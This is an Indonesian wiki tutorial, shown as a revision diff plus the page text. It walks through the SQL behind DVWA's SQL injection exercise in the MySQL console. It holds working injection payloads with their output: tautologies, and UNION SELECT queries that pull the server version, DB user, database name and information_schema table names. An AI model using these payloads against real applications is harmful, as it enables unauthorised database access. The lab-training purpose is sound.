Difference between revisions of "DVWA: perintah SQL di server DVWA"
Onnowpurbo (talk | contribs)  | 
				Onnowpurbo (talk | contribs)   | 
				||
| Line 37: | Line 37: | ||
Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah  | Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah  | ||
| − |   SELECT first_name, last_name FROM users WHERE user_ID = '$id'  | + |   SELECT first_name, last_name FROM users WHERE user_ID = '$id';  | 
Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main    | Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main    | ||
dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main  | dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main  | ||
dengan MySQL secara manual tanpa melakukan injection.  | dengan MySQL secara manual tanpa melakukan injection.  | ||
| + | |||
| + | Masukan perintah  | ||
| + | |||
| + |  SELECT first_name, last_name FROM users WHERE user_ID = '1';  | ||
| + | |||
| + | Keluar  | ||
| + | |||
| + |  +------------+-----------+  | ||
| + |  | first_name | last_name |  | ||
| + |  +------------+-----------+  | ||
| + |  | admin      | admin     |  | ||
| + |  +------------+-----------+  | ||
| + |  1 row in set (0,00 sec)  | ||
| + | |||
| + | |||
| + | Masukan perintah  | ||
| + | |||
| + |  SELECT first_name, last_name FROM users WHERE user_ID = '2';  | ||
| + | |||
| + | Keluar  | ||
| + | |||
| + |  +------------+-----------+  | ||
| + |  | first_name | last_name |  | ||
| + |  +------------+-----------+  | ||
| + |  | Gordon     | Brown     |  | ||
| + |  +------------+-----------+  | ||
| + |  1 row in set (0,00 sec)  | ||
| + | |||
| + | |||
| + | Masukan perintah, untuk mencek apakah bisa di inject perintah lain  | ||
| + | |||
| + |  SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';  | ||
| + | |||
| + | Keluar  | ||
| + | |||
| + |  +------------+-----------+  | ||
| + |  | first_name | last_name |  | ||
| + |  +------------+-----------+  | ||
| + |  | admin      | admin     |  | ||
| + |  | Gordon     | Brown     |  | ||
| + |  | Hack       | Me        |  | ||
| + |  | Pablo      | Picasso   |  | ||
| + |  | Bob        | Smith     |  | ||
| + |  +------------+-----------+  | ||
| + |  5 rows in set (0,00 sec)  | ||
| + | |||
| + | |||
| + | Masukan perintah, untuk mencek apakah bisa di inject perintah lain  | ||
| + | |||
| + |  SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';  | ||
| + | |||
| + | Keluar  | ||
| + | |||
| + |  +------------+-----------+  | ||
| + |  | first_name | last_name |  | ||
| + |  +------------+-----------+  | ||
| + |  | admin      | admin     |  | ||
| + |  | Gordon     | Brown     |  | ||
| + |  | Hack       | Me        |  | ||
| + |  | Pablo      | Picasso   |  | ||
| + |  | Bob        | Smith     |  | ||
| + |  +------------+-----------+  | ||
| + |  5 rows in set (0,01 sec)  | ||
| + | |||
| + | |||
| + | Masukan perintah  | ||
| + | |||
| + |  SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #;  | ||
| + | |||
| + | Keluar  | ||
| + | |||
| + |  +------------+-------------------------+  | ||
| + |  | first_name | last_name               |  | ||
| + |  +------------+-------------------------+  | ||
| + |  | admin      | admin                   |  | ||
| + |  | Gordon     | Brown                   |  | ||
| + |  | Hack       | Me                      |  | ||
| + |  | Pablo      | Picasso                 |  | ||
| + |  | Bob        | Smith                   |  | ||
| + |  | NULL       | 5.7.17-0ubuntu0.16.04.1 |  | ||
| + |  +------------+-------------------------+  | ||
| + |  6 rows in set (0,00 sec)  | ||
| + | |||
| + | Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1  | ||
| + | |||
| + | |||
| + | Masukan perintah,  | ||
| + | |||
| + |  SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';  | ||
| + | |||
| + | Keluar  | ||
| + | |||
| + |  +------------+----------------+  | ||
| + |  | first_name | last_name      |  | ||
| + |  +------------+----------------+  | ||
| + |  | admin      | admin          |  | ||
| + |  | Gordon     | Brown          |  | ||
| + |  | Hack       | Me             |  | ||
| + |  | Pablo      | Picasso        |  | ||
| + |  | Bob        | Smith          |  | ||
| + |  | NULL       | root@localhost |  | ||
| + |  +------------+----------------+  | ||
| + |  6 rows in set (0,00 sec)  | ||
| + | |||
| + | akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost  | ||
| + | |||
| + | |||
| + | Masukan perintah  | ||
| + | |||
| + |  SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';  | ||
| + | |||
| + | Keluar  | ||
| + | |||
| + |  +------------+-----------+  | ||
| + |  | first_name | last_name |  | ||
| + |  +------------+-----------+  | ||
| + |  | admin      | admin     |  | ||
| + |  | Gordon     | Brown     |  | ||
| + |  | Hack       | Me        |  | ||
| + |  | Pablo      | Picasso   |  | ||
| + |  | Bob        | Smith     |  | ||
| + |  | NULL       | dvwa      |  | ||
| + |  +------------+-----------+  | ||
| + |  6 rows in set (0,00 sec)  | ||
| + | |||
| + | akan keluar nama database yang digunakan, yaitu dvwa  | ||
| + | |||
| + | |||
| + | Masukan perintah  | ||
| + | |||
| + |  SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';  | ||
| + | |||
| + | Keluar  | ||
| + | |||
| + |  +------------+------------------------------------------------------+  | ||
| + |  | first_name | last_name                                            |  | ||
| + |  +------------+------------------------------------------------------+  | ||
| + |  | NULL       | CHARACTER_SETS                                       |  | ||
| + |  | NULL       | COLLATIONS                                           |  | ||
| + |  | NULL       | COLLATION_CHARACTER_SET_APPLICABILITY                |  | ||
| + |  | NULL       | COLUMNS                                              |  | ||
| + |  ..  | ||
| + |  ..  | ||
| + |  ..  | ||
| + |  | NULL       | x$wait_classes_global_by_avg_latency                 |  | ||
| + |  | NULL       | x$wait_classes_global_by_latency                     |  | ||
| + |  | NULL       | x$waits_by_host_by_latency                           |  | ||
| + |  | NULL       | x$waits_by_user_by_latency                           |  | ||
| + |  | NULL       | x$waits_global_by_latency                            |  | ||
| + |  +------------+------------------------------------------------------+  | ||
| + |  275 rows in set (0,01 sec)  | ||
| + | |||
| + | Dimana  | ||
| + | |||
| + | * CHARACTER_SETS  | ||
| + | * COLLATIONS   | ||
| + | * COLLATION_CHARACTER_SET_APPLICABILITY  | ||
| + | |||
| + | adalah INFORMATION SCHEMA table name.  | ||
| + | INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi  | ||
| + | tentang database yang di maintain oleh MySQL.  | ||
Revision as of 17:36, 11 March 2017
Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak terlalu sulit
- Login ke mesin server yang kita instalasi DVWA
 - menjadi super user, menggunakan perintah
 
sudo su
- Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah
 
mysql -u root -p123456
Jika berhasil dengan baik maka akan keluar
mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 4 Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
- Untuk berlatih kita perlu menggunakan database dvwa, ketik perintah
 
use dvwa
Kita sudah siap untuk belajar / memlihat apa yang terjadi jika kita latihan SQL Injection. Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah
SELECT first_name, last_name FROM users WHERE user_ID = '$id';
Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main dengan MySQL secara manual tanpa melakukan injection.
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_ID = '1';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+ 1 row in set (0,00 sec)
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_ID = '2';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | Gordon | Brown | +------------+-----------+ 1 row in set (0,00 sec)
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+ 5 rows in set (0,00 sec)
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+ 5 rows in set (0,01 sec)
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #;
Keluar
+------------+-------------------------+ | first_name | last_name | +------------+-------------------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | 5.7.17-0ubuntu0.16.04.1 | +------------+-------------------------+ 6 rows in set (0,00 sec)
Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1
Masukan perintah,
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';
Keluar
+------------+----------------+ | first_name | last_name | +------------+----------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | root@localhost | +------------+----------------+ 6 rows in set (0,00 sec)
akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | dvwa | +------------+-----------+ 6 rows in set (0,00 sec)
akan keluar nama database yang digunakan, yaitu dvwa
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';
Keluar
+------------+------------------------------------------------------+ | first_name | last_name | +------------+------------------------------------------------------+ | NULL | CHARACTER_SETS | | NULL | COLLATIONS | | NULL | COLLATION_CHARACTER_SET_APPLICABILITY | | NULL | COLUMNS | .. .. .. | NULL | x$wait_classes_global_by_avg_latency | | NULL | x$wait_classes_global_by_latency | | NULL | x$waits_by_host_by_latency | | NULL | x$waits_by_user_by_latency | | NULL | x$waits_global_by_latency | +------------+------------------------------------------------------+ 275 rows in set (0,01 sec)
Dimana
- CHARACTER_SETS
 - COLLATIONS
 - COLLATION_CHARACTER_SET_APPLICABILITY
 
adalah INFORMATION SCHEMA table name. INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi tentang database yang di maintain oleh MySQL.